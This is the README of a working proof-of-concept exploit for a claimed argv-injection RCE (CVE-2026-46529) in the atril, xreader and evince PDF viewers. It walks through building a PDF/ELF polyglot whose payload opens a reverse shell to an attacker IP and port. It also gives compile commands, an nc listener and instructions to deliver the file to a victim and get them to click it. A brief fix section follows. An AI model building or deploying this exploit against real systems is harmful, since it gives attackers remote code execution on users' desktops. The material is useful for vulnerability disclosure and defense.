RCE via PDF argv injection (CVE-2026-46529) (atril/xreader/evince)
Working proof-of-concept for the argv injection in ev_spawn()
(shell/ev-application.c). A single click anywhere on the rendered
page of a crafted PDF triggers arbitrary code execution as the user
running the viewer.
This release uses the %f-substitution technique: the dlopen target
path is discovered by the viewer itself at runtime, so the attacker
needs zero knowledge of where the polyglot lands on the victim's
filesystem (no username, no $HOME, no download directory).
POC
Screen.Recording.2026-05-15.at.02.28.19.mp4
What's in this bundle
| File | Purpose |
|---|---|
exploit.sh |
One-shot wrapper: compile + build polyglot in a single command. |
evil_gtk_module.c |
Source of the payload. Constructor opens a reverse shell and drops a marker at /tmp/PWNED_atril_<pid>.txt. |
build_polyglot.py |
Polyglot builder. Combines a compiled evil.so with a minimal PDF body containing the /GoToR action and the %f smuggle. |
You must build on a Linux host matching the victim's architecture.
evil_gtk_module.c is portable across archs; the resulting ELF is
arch-specific. macOS cannot produce the .so because Apple's linker
doesn't accept GNU build-id flags.
The vulnerability in one paragraph
ev_spawn() builds the spawn command line by interpolating the PDF's
/D (named destination) and /F (file specification) strings without
g_shell_quote. The result is parsed back into argv by
g_app_info_create_from_commandline → g_shell_parse_argv. Crafting
/D with a leading space and --gtk-module=... causes the spawned
child viewer to receive --gtk-module= as a standalone argv element,
which gtk_init() honors via g_module_open() (i.e. dlopen). Any
constructor in the loaded ELF runs as the victim.
The polyglot is a single file that is simultaneously a valid PDF and a
valid ELF shared library — the %PDF-1.4 marker is stamped inside the
.note.gnu.build-id SHA1 slot (offset 0x1d8), which poppler accepts
because it scans the first 1024 bytes for the magic and ld.so accepts
because the build-id contents are informational.
The %f trick (this release) closes the last piece. Instead of
hardcoding the polyglot's path inside the PDF, we embed glib's %f
placeholder. glib's g_app_info_launch_uris substitutes %f with the
local-path form of the URI that atril resolved at runtime via
g_path_get_dirname(source_uri) + /F.basename. The spawned child's
argv ends up containing --gtk-module=<actual-runtime-path>, dlopen
succeeds, RCE.
/F is set to <basename>?1 rather than just <basename> because
ev_application_open_uri_at_dest() short-circuits and just navigates
(instead of spawning) when the resolved /F URI equals the source URI.
The trailing query string makes the URI distinct; glib's
g_filename_from_uri strips it when building %f.
How to reproduce
Quick start
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
Output: report.pdf with the reverse-shell target baked in. Deploy
to the victim with the same basename (any directory), start a
listener, have them open it in atril and click anywhere on the page.
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
The basename embedded in /F is derived from the output filename, so
the polyglot expects to be deployed as report.pdf. The directory
does not matter — atril resolves the full path at runtime via the
%f substitution. The Link annotation covers the entire MediaBox,
so any click fires the action. A marker file is also written to
/tmp/PWNED_atril_<pid>.txt.
All exploit.sh options
-o, --output FILE Output PDF path (default: polyglot.pdf)
--ip IP Reverse shell target IP (default: 127.0.0.1)
--port PORT Reverse shell target port (default: 9000)
--cc COMPILER C compiler (default: gcc, env: CC)
--keep-so Don't delete evil.so after build
-h, --help Show usage
Cross-compile example (build aarch64 polyglot on x86_64 host):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
Manual build (without exploit.sh)
If you want full control over each step:
-
Compile
evil.sowith your IP/port.gcc -shared -fPIC -Wl,--build-id=sha1 \ -DATTACKER_IP='"192.168.1.5"' \ -DATTACKER_PORT='"4444"' \ -o evil.so evil_gtk_module.c -
Build the polyglot.
python3 build_polyglot.py evil.so <output.pdf>The basename embedded in
/Fis derived from the output filename. Deploy the polyglot on the victim with the same basename — the directory does not matter, atril resolves it at runtime.
Affected software
Confirmed:
- atril < 1.28.4 (MATE desktop)
- xreader < 4.6.4 (Cinnamon desktop, fork of atril)
- evince < 48.4 (GNOME desktop, upstream)
The vulnerable code (ev_spawn and the /GoToR open path) is shared
between all three. evince upstream has the same bug; the only
difference in newer evince builds is that GTK4 dropped the
--gtk-module= command-line flag, which closes this specific dlopen
sink. evince builds against GTK3 (most LTS distros at the time of
writing) remain vulnerable.
Affected versions and FIX
The bug has existed since the early 2010s when the ev_spawn cmdline
construction was written. The fix is straightforward: wrap every
attacker-controlled component in g_shell_quote before
g_string_append_printf, or switch to passing argv as a list to
g_spawn_async (avoiding the shell parse round-trip entirely).
Caveats
-
Filename preservation. The basename embedded in
/Fmust match the filename the polyglot has on the victim's disk at trigger time. If the victim renames the file before opening, atril resolves/Fto a non-existent path anddlopenfails. -
GTK4. Newer evince builds against GTK4 dropped the
--gtk-module=command-line flag, which closes this specific dlopen sink. The argv injection itself is still present — only this particular exploitation path is mitigated by GTK4.
Discovered by
J.Medeiros